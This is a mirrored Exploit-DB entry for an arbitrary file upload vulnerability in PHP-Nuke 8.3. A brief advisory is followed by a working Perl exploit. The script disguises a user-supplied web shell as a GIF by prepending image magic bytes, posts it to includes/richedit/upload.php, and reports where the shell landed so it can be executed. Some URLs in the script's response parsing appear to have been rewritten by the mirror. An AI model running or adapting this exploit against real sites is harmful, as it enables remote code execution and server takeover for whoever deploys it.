PHP-Nuke 8.3 – ‘upload.php’ Arbitrary File Upload (2) - 体验盒子

作者： pentesters.ir
日期： 2011-06-13
类别：
webapps
平台：
php
来源：https://www.exploit-db.com/exploits/35854/
source: https://www.securityfocus.com/bid/48257/info
 
Phpnuke is prone to an arbitrary-file-upload vulnerability because the application fails to adequately sanitize user-supplied input.
 
An attacker can exploit this issue to upload arbitrary code and run it in the context of the webserver process.
 
Phpnuke 8.3 is vulnerable; other versions may also be affected. 

#!/usr/bin/perl
###################################################
#//Iranian Pentesters Home
#//PHP Nuke 8.3 MT AFU Vulnerability
#//Coded by:4n0nym0us & b3hz4d
#//http://www.pentesters.ir
###################################################


use LWP;
use HTTP::Request::Common;
print "\n" . "///////////////////////////////////" ."\n";
print " Iranian Pentesters Home" . "\n";
print " PHP Nuke 8.3 MT AFU Vulnerability" . "\n";
print "///////////////////////////////////" ."\n";
print "\n" . "Syntax: perl xpl.pl http://your-target.com shell.php.01 [prefix]" . "\n\n";
my $url = $ARGV[0]."/includes/richedit/upload.php";
my $filename = $ARGV[1];
my $prefix = $ARGV[2];
my $rfile = $prefix . $filename . ".gif";
open fhandle, $ARGV[1] or die $!; 
while (<fhandle>){
$shell .= $_;
}
close fhandle;
open fhandle, ">", $rfile or die $!;
print fhandle "\x47\x49\x46\x38\x39\x61\x05\x00\x05\x00"."\n".$shell;
close(fhandle);
my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.12) Gecko/20101026");
my $req = POST $url, Content_Type => 'form-data',
	Content=> [
		upload => "1",
		path => 'images',
		pwd => "1",
		userfile =>[ $rfile,$prefix . $filename ]
	];
my $res = $ua->request($req);
$between=substr($res->as_string(), index($res->as_string(), '<img src="https://www.exploit-db.com/exploits/35854/upload/')+10, index($res->as_string(), 'onclick="self.parent.') - index($res->as_string(), '<img src="https://www.exploit-db.com/exploits/35854/upload/')-12);
print("Uploaded File: " . $ARGV[0]."/includes/richedit/".$between);
exit;